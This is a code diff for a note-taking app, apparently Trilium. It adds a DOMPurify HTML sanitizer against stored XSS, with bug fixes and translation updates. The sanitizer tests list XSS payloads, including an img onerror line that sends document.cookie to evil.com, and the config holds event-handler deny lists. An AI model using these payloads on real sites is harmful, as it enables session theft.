@@ -61,7 +61,7 @@
"leaflet": "1.9.4",
"leaflet-gpx": "2.2.0",
"mark.js": "8.11.1",
"marked": "17.0.5",
"marked": "18.0.0",
"mermaid": "11.14.0",
"mind-elixir": "5.10.0",
"panzoom": "9.4.4",
@@ -76,7 +76,7 @@
},
"devDependencies": {
"@ckeditor/ckeditor5-inspector": "5.0.0",
"@prefresh/vite": "2.4.12",
"@prefresh/vite": "3.0.0",
"@types/bootstrap": "5.2.10",
"@types/jquery": "4.0.0",
"@types/leaflet": "1.9.21",

View File

@@ -236,6 +236,16 @@ export default class FNote {
return this.hasAttribute("label", "archived");
}
/**
* Returns true if the note's metadata (title, icon) should not be editable.
* This applies to system notes like options, help, and launch bar configuration.
*/
get isMetadataReadOnly() {
return utils.isLaunchBarConfig(this.noteId)
|| this.noteId.startsWith("_help_")
|| this.noteId.startsWith("_options");
}
getChildNoteIds() {
return this.children;
}

View File

@@ -6,10 +6,8 @@ import froca from "./froca";
import server from "./server.js";
// Spy on server methods to track calls
// @ts-expect-error the generic typing is causing issues here
server.put = vi.fn(async <T> (url: string, data?: T) => ({} as T));
// @ts-expect-error the generic typing is causing issues here
server.remove = vi.fn(async <T> (url: string) => ({} as T));
server.put = vi.fn(async () => ({})) as typeof server.put;
server.remove = vi.fn(async () => ({})) as typeof server.remove;
describe("Set boolean with inheritance", () => {
beforeEach(() => {

View File

@@ -120,7 +120,7 @@ async function deleteNotes(branchIdsToDelete: string[], forceDeleteAllClones = f
if (moveToParent) {
try {
await activateParentNotePath();
await activateParentNotePath(branchIdsToDelete);
} catch (e) {
console.error(e);
}
@@ -152,13 +152,28 @@ async function deleteNotes(branchIdsToDelete: string[], forceDeleteAllClones = f
return true;
}
async function activateParentNotePath() {
// this is not perfect, maybe we should find the next/previous sibling, but that's more complex
async function activateParentNotePath(branchIdsToDelete: string[]) {
const activeContext = appContext.tabManager.getActiveContext();
const parentNotePathArr = activeContext?.notePathArray.slice(0, -1);
const activeNotePath = activeContext?.notePathArray ?? [];
if (parentNotePathArr && parentNotePathArr.length > 0) {
activeContext?.setNote(parentNotePathArr.join("/"));
// Find the deleted branch that appears earliest in the active note's path
let earliestIndex = activeNotePath.length;
for (const branchId of branchIdsToDelete) {
const branch = froca.getBranch(branchId);
if (branch) {
const index = activeNotePath.indexOf(branch.noteId);
if (index !== -1 && index < earliestIndex) {
earliestIndex = index;
}
}
}
// Navigate to the parent of the highest deleted ancestor
if (earliestIndex < activeNotePath.length) {
const parentPath = activeNotePath.slice(0, earliestIndex);
if (parentPath.length > 0) {
await activeContext?.setNote(parentPath.join("/"));
}
}
}

View File

@@ -5,6 +5,7 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(blob.content));
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

View File

@@ -27,7 +27,8 @@ export interface StreamCallbacks {
export async function streamChatCompletion(
messages: LlmMessage[],
config: LlmChatConfig,
callbacks: StreamCallbacks
callbacks: StreamCallbacks,
abortSignal?: AbortSignal
): Promise<void> {
const headers = await server.getHeaders();
@@ -37,7 +38,8 @@ export async function streamChatCompletion(
...headers,
"Content-Type": "application/json"
} as HeadersInit,
body: JSON.stringify({ messages, config })
body: JSON.stringify({ messages, config }),
signal: abortSignal
});
if (!response.ok) {

View File

@@ -68,7 +68,8 @@ async function autocompleteSourceForCKEditor(queryText: string) {
name: row.notePathTitle || "",
link: `#${row.notePath}`,
notePath: row.notePath,
highlightedNotePathTitle: row.highlightedNotePathTitle
highlightedNotePathTitle: row.highlightedNotePathTitle,
icon: row.icon
};
})
);

View File

@@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import linkService from "./link.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import treeService from "./tree.js";
import utils from "./utils.js";
@@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
return;
}
const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
// we need to check if we're still hovering over the element
// since the operation to get tooltip content was async, it is possible that
@@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -18,6 +18,10 @@ async function render(note: FNote, $el: JQuery<HTMLElement>, onError?: ErrorHand
for (const renderNoteId of renderNoteIds) {
const bundle = await server.postWithSilentInternalServerError<Bundle>(`script/bundle/${renderNoteId}`);
if (!bundle) {
throw new Error(`Script note '${renderNoteId}' could not be loaded. It may be protected and require an active protected session.`);
}
const $scriptContainer = $("<div>");
$el.append($scriptContainer);

View File

@@ -0,0 +1,236 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -0,0 +1,115 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify, { type Config as DOMPurifyConfig } from "dompurify";
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*
* Uses DOMPurify's built-in security-researched profiles for HTML, SVG, and
* MathML rather than a hand-maintained tag allowlist. This ensures proper
* namespace handling (critical for SVG rendering in mermaid/canvas/mind-map
* notes and MathML in KaTeX equations) while staying current with DOMPurify's
* upstream security fixes.
*
* Defense-in-depth is provided via FORBID_TAGS / FORBID_ATTR which explicitly
* block known-dangerous elements and all event-handler attributes, regardless
* of what the profiles permit.
*/
const PURIFY_CONFIG: DOMPurifyConfig = {
// Enable DOMPurify's curated safe-element sets for HTML, SVG, and MathML.
// This replaces a manual ALLOWED_TAGS list and correctly handles namespace
// parsing (e.g. SVG elements must be in the SVG namespace to render).
USE_PROFILES: { html: true, svg: true, svgFilters: true, mathMl: true },
ALLOWED_URI_REGEXP,
// CKEditor data-* attributes not in the default set
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// CKEditor custom elements
ADD_TAGS: ["en-media"],
// ── Explicit deny-lists (defense-in-depth) ──
// Script execution vectors
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template",
// SVG elements that can execute scripts or embed arbitrary HTML
"foreignObject",
// SVG animation elements — can trigger event handlers via
// onbegin/onend/onrepeat attributes
"animate", "animateMotion", "animateTransform", "set"],
// All DOM event-handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel",
// SVG animation event handlers
"onbegin", "onend", "onrepeat"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
WHOLE_DOCUMENT: false
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -0,0 +1,87 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import SpacedUpdate from "./spaced_update";
// Mock logError which is a global in Trilium
vi.stubGlobal("logError", vi.fn());
describe("SpacedUpdate", () => {
beforeEach(() => {
vi.useFakeTimers();
});
afterEach(() => {
vi.useRealTimers();
});
it("should only call updater once per interval even with multiple pending callbacks", async () => {
const updater = vi.fn(async () => {
// Simulate a slow network request - this is where the race condition occurs
await new Promise((resolve) => setTimeout(resolve, 100));
});
const spacedUpdate = new SpacedUpdate(updater, 50);
// Simulate rapid typing - each keystroke calls scheduleUpdate()
// This queues multiple setTimeout callbacks due to recursive scheduleUpdate() calls
for (let i = 0; i < 10; i++) {
spacedUpdate.scheduleUpdate();
// Small delay between keystrokes
await vi.advanceTimersByTimeAsync(5);
}
// Advance time past the update interval to trigger the update
await vi.advanceTimersByTimeAsync(100);
// Let the "network request" complete and any pending callbacks run
await vi.advanceTimersByTimeAsync(200);
// The updater should have been called only ONCE, not multiple times
// With the bug, multiple pending setTimeout callbacks would all pass the time check
// during the async updater call and trigger multiple concurrent requests
expect(updater).toHaveBeenCalledTimes(1);
});
it("should call updater again if changes occur during the update", async () => {
const updater = vi.fn(async () => {
await new Promise((resolve) => setTimeout(resolve, 50));
});
const spacedUpdate = new SpacedUpdate(updater, 30);
// First update
spacedUpdate.scheduleUpdate();
await vi.advanceTimersByTimeAsync(40);
// Schedule another update while the first one is in progress
spacedUpdate.scheduleUpdate();
// Let first update complete
await vi.advanceTimersByTimeAsync(60);
// Advance past the interval again for the second update
await vi.advanceTimersByTimeAsync(100);
// Should have been called twice - once for each distinct change period
expect(updater).toHaveBeenCalledTimes(2);
});
it("should restore changed flag on error so retry can happen", async () => {
const updater = vi.fn()
.mockRejectedValueOnce(new Error("Network error"))
.mockResolvedValue(undefined);
const spacedUpdate = new SpacedUpdate(updater, 50);
spacedUpdate.scheduleUpdate();
// Advance to trigger first update (which will fail)
await vi.advanceTimersByTimeAsync(60);
// The error should have restored the changed flag, so scheduling again should work
spacedUpdate.scheduleUpdate();
await vi.advanceTimersByTimeAsync(60);
expect(updater).toHaveBeenCalledTimes(2);
});
});

View File

@@ -77,16 +77,22 @@ export default class SpacedUpdate {
}
if (Date.now() - this.lastUpdated > this.updateInterval) {
// Update these BEFORE the async call to prevent race conditions.
// Multiple setTimeout callbacks may be pending from recursive scheduleUpdate() calls.
// Without this, they would all pass the time check during the await and trigger multiple requests.
this.lastUpdated = Date.now();
this.changed = false;
this.onStateChanged("saving");
try {
await this.updater();
this.onStateChanged("saved");
this.changed = false;
} catch (e) {
// Restore changed flag on error so a retry can happen
this.changed = true;
this.onStateChanged("error");
logError(getErrorMessage(e));
}
this.lastUpdated = Date.now();
} else {
// update isn't triggered but changes are still pending, so we need to schedule another check
this.scheduleUpdate();

View File

@@ -33,6 +33,14 @@ export async function formatCodeBlocks($container: JQuery<HTMLElement>) {
applySingleBlockSyntaxHighlight($(codeBlock), normalizedMimeType);
}
}
// Add click-to-copy for inline code (code elements not inside pre)
if (glob.device !== "print") {
const inlineCodeElements = $container.find("code:not(pre code)");
for (const inlineCode of inlineCodeElements) {
applyInlineCodeCopy($(inlineCode));
}
}
}
export function applyCopyToClipboardButton($codeBlock: JQuery<HTMLElement>) {
@@ -51,6 +59,23 @@ export function applyCopyToClipboardButton($codeBlock: JQuery<HTMLElement>) {
$codeBlock.parent().append($copyButton);
}
export function applyInlineCodeCopy($inlineCode: JQuery<HTMLElement>) {
$inlineCode
.addClass("copyable-inline-code")
.attr("title", t("code_block.click_to_copy"))
.off("click")
.on("click", (e) => {
e.stopPropagation();
const text = $inlineCode.text();
if (!isShare) {
copyTextWithToast(text);
} else {
copyText(text);
}
});
}
/**
* Applies syntax highlight to the given code block (assumed to be <pre><code>), using highlight.js.
*/

View File

@@ -134,7 +134,7 @@ async function handleMessage(event: MessageEvent<any>) {
} else if (message.type === "api-log-messages") {
appContext.triggerEvent("apiLogMessages", { noteId: message.noteId, messages: message.messages });
} else if (message.type === "toast") {
toast.showMessage(message.message);
toast.showMessage(message.message, message.timeout);
} else if (message.type === "execute-script") {
const originEntity = message.originEntityId ? await froca.getNote(message.originEntityId) : null;

View File

@@ -99,7 +99,7 @@ class SetupController {
}
private async finish() {
const syncServerHost = this.syncServerHostInput.value.trim();
const syncServerHost = this.syncServerHostInput.value.trim().replace(/\/+$/, "");
const syncProxy = this.syncProxyInput.value.trim();
const password = this.passwordInput.value;

View File

@@ -1230,6 +1230,43 @@ a.external:not(.no-arrow):after, a[href^="http://"]:not(.no-arrow):after, a[href
width: 100%;
}
/* Expandable include note styles */
.include-note-title-row {
display: flex;
align-items: center;
gap: 5px;
cursor: pointer;
}
.include-note-title-row .include-note-title {
margin: 0;
}
.include-note-toggle {
background: none;
border: none;
padding: 2px;
cursor: pointer;
font-size: 1.2em;
color: var(--main-text-color);
transition: transform 0.2s ease;
display: flex;
align-items: center;
justify-content: center;
}
.include-note-toggle:hover {
color: var(--main-link-color);
}
.include-note-toggle.expanded {
transform: rotate(90deg);
}
.include-note[data-box-size="expandable"] .include-note-content {
margin-top: 10px;
}
.alert {
padding: 8px 14px;
width: auto;

View File

@@ -393,9 +393,7 @@
},
"delete_notes": {
"close": "غلق",
"cancel": "الغاء",
"ok": "نعم",
"delete_notes_preview": "حذف معاينة الملاحظات"
"cancel": "الغاء"
},
"export": {
"close": "غلق",
@@ -626,7 +624,8 @@
"date-and-time": "التاريخ والوقت",
"no_backup_yet": "لايوجد نسخة احتياطية لحد الان",
"enable_daily_backup": "تمكين النسخ الاحتياطي اليومي",
"backup_database_now": "نسخ اختياطي لقاعدة البيانات الان"
"backup_database_now": "نسخ اختياطي لقاعدة البيانات الان",
"download": "تنزيل"
},
"etapi": {
"created": "تم الأنشاء",
@@ -663,7 +662,6 @@
"default_shortcuts": "اختصارات افتراضية"
},
"sync_2": {
"timeout_unit": "ميلي ثانية",
"note": "ملاحظة",
"save": "حفظ",
"help": "المساعدة",

View File

@@ -25,8 +25,7 @@
},
"delete_notes": {
"close": "Tanca",
"cancel": "Cancel·la",
"ok": "OK"
"cancel": "Cancel·la"
},
"export": {
"close": "Tanca",

View File

@@ -88,7 +88,6 @@
"also_delete_note": "同时删除笔记"
},
"delete_notes": {
"delete_notes_preview": "删除笔记预览",
"close": "关闭",
"delete_all_clones_description": "同时删除所有克隆(可以在最近修改中撤消)",
"erase_notes_description": "通常(软)删除仅标记笔记为已删除,可以在一段时间内通过最近修改对话框撤消。选中此选项将立即擦除笔记,不可撤销。",
@@ -96,9 +95,7 @@
"notes_to_be_deleted": "将删除以下笔记 ({{notesCount}})",
"no_note_to_delete": "没有笔记将被删除(仅克隆)。",
"broken_relations_to_be_deleted": "将删除以下关系并断开连接 ({{ relationCount}})",
"cancel": "取消",
"ok": "确定",
"deleted_relation_text": "笔记 {{- note}} (将被删除的笔记) 被以下关系 {{- relation}} 引用, 来自 {{- source}}。"
"cancel": "取消"
},
"export": {
"export_note_title": "导出笔记",
@@ -368,7 +365,7 @@
"calendar_root": "标记应用作为每日笔记的根。只应标记一个笔记。",
"archived": "含有此标签的笔记默认在搜索结果中不可见(也适用于跳转到、添加链接对话框等)。",
"exclude_from_export": "笔记(及其子树)不会包含在任何笔记导出中",
"run": "定义脚本应运行的事件。可能的值包括:\n<ul>\n<li>frontendStartup - Trilium前端启动时或刷新时但不会在移动端执行。</li>\n<li>mobileStartup - Trilium前端启动时或刷新时 在移动端会执行。</li>\n<li>backendStartup - Trilium后端启动时</li>\n<li>hourly - 每小时运行一次。您可以使用附加标签<code>runAtHour</code>指定小时。</li>\n<li>daily - 每天运行一次</li>\n</ul>",
"run": "定义脚本应运行的事件。可能的值包括:\n<ul>\n<li>frontendStartup - Trilium前端启动时或刷新时但不会在移动端执行。</li>\n<li>mobileStartup - Trilium前端启动时或刷新时 在移动端会执行。</li>\n<li>backendStartup - Trilium后端启动时</li>\n<li>hourly - 每小时运行一次。您可以使用附加标签<code>runAtHour</code>指定小时。</li>\n<li>daily - 每天运行一次</li>\n</ul>",
"run_on_instance": "定义应在哪个Trilium实例上运行。默认为所有实例。",
"run_at_hour": "应在哪个小时运行。应与<code>#run=hourly</code>一起使用。可以多次定义,以便一天内运行多次。",
"disable_inclusion": "含有此标签的脚本不会包含在父脚本执行中。",
@@ -804,7 +801,10 @@
"expand_first_level": "展开直接子代",
"expand_nth_level": "展开 {{depth}} 层",
"expand_all_levels": "展开所有层级",
"hide_child_notes": "隐藏树中的子笔记"
"hide_child_notes": "隐藏树中的子笔记",
"open_all_in_tabs": "全部打开",
"open_all_in_tabs_tooltip": "在新标签页中打开所有结果",
"open_all_confirm": "这将在新标签页中打开 {{count}} 个笔记。继续吗?"
},
"edited_notes": {
"no_edited_notes_found": "今天还没有编辑过的笔记...",
@@ -858,7 +858,8 @@
"collapse": "折叠到正常大小",
"title": "笔记地图",
"fix-nodes": "固定节点",
"link-distance": "链接距离"
"link-distance": "链接距离",
"too-many-notes": "此子树包含 {{count}} 个笔记,超过了笔记地图中可显示的 {{max}} 个笔记的限制。"
},
"note_paths": {
"title": "笔记路径",
@@ -1063,7 +1064,8 @@
"note_already_in_diagram": "笔记 \"{{title}}\" 已经在图中。",
"enter_title_of_new_note": "输入新笔记的标题",
"default_new_note_title": "新笔记",
"click_on_canvas_to_place_new_note": "点击画布以放置新笔记"
"click_on_canvas_to_place_new_note": "点击画布以放置新笔记",
"rename_relation": "重命名关系"
},
"backend_log": {
"refresh": "刷新"
@@ -1337,7 +1339,8 @@
"date-and-time": "日期和时间",
"path": "路径",
"database_backed_up_to": "数据库已备份到 {{backupFilePath}}",
"no_backup_yet": "尚无备份"
"no_backup_yet": "尚无备份",
"download": "下载"
},
"etapi": {
"title": "ETAPI",
@@ -1435,9 +1438,15 @@
"spellcheck": {
"title": "拼写检查",
"description": "这些选项仅适用于桌面版本,浏览器将使用其原生的拼写检查功能。",
"enable": "启用拼写检查",
"language_code_label": "语言代码",
"restart-required": "拼写检查选项的更改将在应用重启后生效。"
"enable": "拼写检查",
"language_code_label": "拼写检查语言",
"restart-required": "拼写检查选项的更改将在应用重启后生效。",
"custom_dictionary_title": "自定义词典",
"custom_dictionary_description": "添加到词典中的单词会在您的所有设备上同步。",
"custom_dictionary_edit": "自定义词",
"custom_dictionary_edit_description": "编辑拼写检查器不应标记的单词列表。更改将在重启后生效。",
"custom_dictionary_open": "编辑词典",
"related_description": "配置拼写检查语言和自定义词典。"
},
"sync_2": {
"config_title": "同步配置",
@@ -1453,7 +1462,7 @@
"test_description": "测试和同步服务器之间的连接。如果同步服务器没有初始化,会将本地文档同步到同步服务器上。",
"test_button": "测试同步",
"handshake_failed": "同步服务器握手失败,错误:{{message}}",
"timeout_unit": "毫秒"
"timeout_description": "同步连接速度慢时,应该等待多久才放弃?如果网络不稳定,请增加等待时间。"
},
"api_log": {
"close": "关闭"
@@ -1876,7 +1885,7 @@
},
"content_language": {
"title": "内容语言",
"description": "选择一种或多种语言出现在只读或可编辑文本注释的基本属性,这将支持拼写检查从右向左之类的功能。"
"description": "在只读或可编辑文本笔记的“基本属性”部分,选择一种或多种语言,这些语言将显示在语言选择列表中。这将启用拼写检查从右到左的阅读支持和文本提取OCR功能。"
},
"switch_layout_button": {
"title_vertical": "将编辑面板移至底部",
@@ -2231,7 +2240,9 @@
"sample_xy": "散点图",
"sample_venn": "韦恩图",
"sample_ishikawa": "鱼骨图",
"placeholder": "输入你的美人鱼图的内容,或者使用下面的示例图之一。"
"placeholder": "输入你的美人鱼图的内容,或者使用下面的示例图之一。",
"sample_treeview": "树形视图",
"sample_wardley": "沃德利地图"
},
"llm_chat": {
"placeholder": "输入消息…",
@@ -2262,7 +2273,8 @@
"note_context_disabled": "点击即可将当前注释添加到上下文中",
"no_provider_message": "未配置人工智能提供商。添加一个即可开始对话。",
"add_provider": "添加人工智能提供商",
"note_tools": "笔记访问"
"note_tools": "笔记访问",
"sources_summary": "来自 {{sites}} 个网站的 {{count}} 个来源"
},
"sidebar_chat": {
"title": "AI对话",
@@ -2285,7 +2297,10 @@
"processing": "正在处理...",
"processing_started": "OCR识别已开始。请稍候片刻并刷新页面。",
"processing_failed": "OCR处理启动失败",
"view_extracted_text": "查看提取的文本OCR"
"view_extracted_text": "查看提取的文本OCR",
"processing_complete": "OCR识别处理完成。",
"text_filtered_low_confidence": "OCR 检测到文本,置信度为 {{confidence}}% ,但由于您的最小阈值为 {{threshold}}% ,因此该文本已被丢弃。",
"open_media_settings": "打开设置"
},
"mind-map": {
"addChild": "添加子节点",
@@ -2303,6 +2318,13 @@
},
"llm": {
"settings_description": "配置人工智能和大语言模型集成。",
"add_provider": "添加提供商"
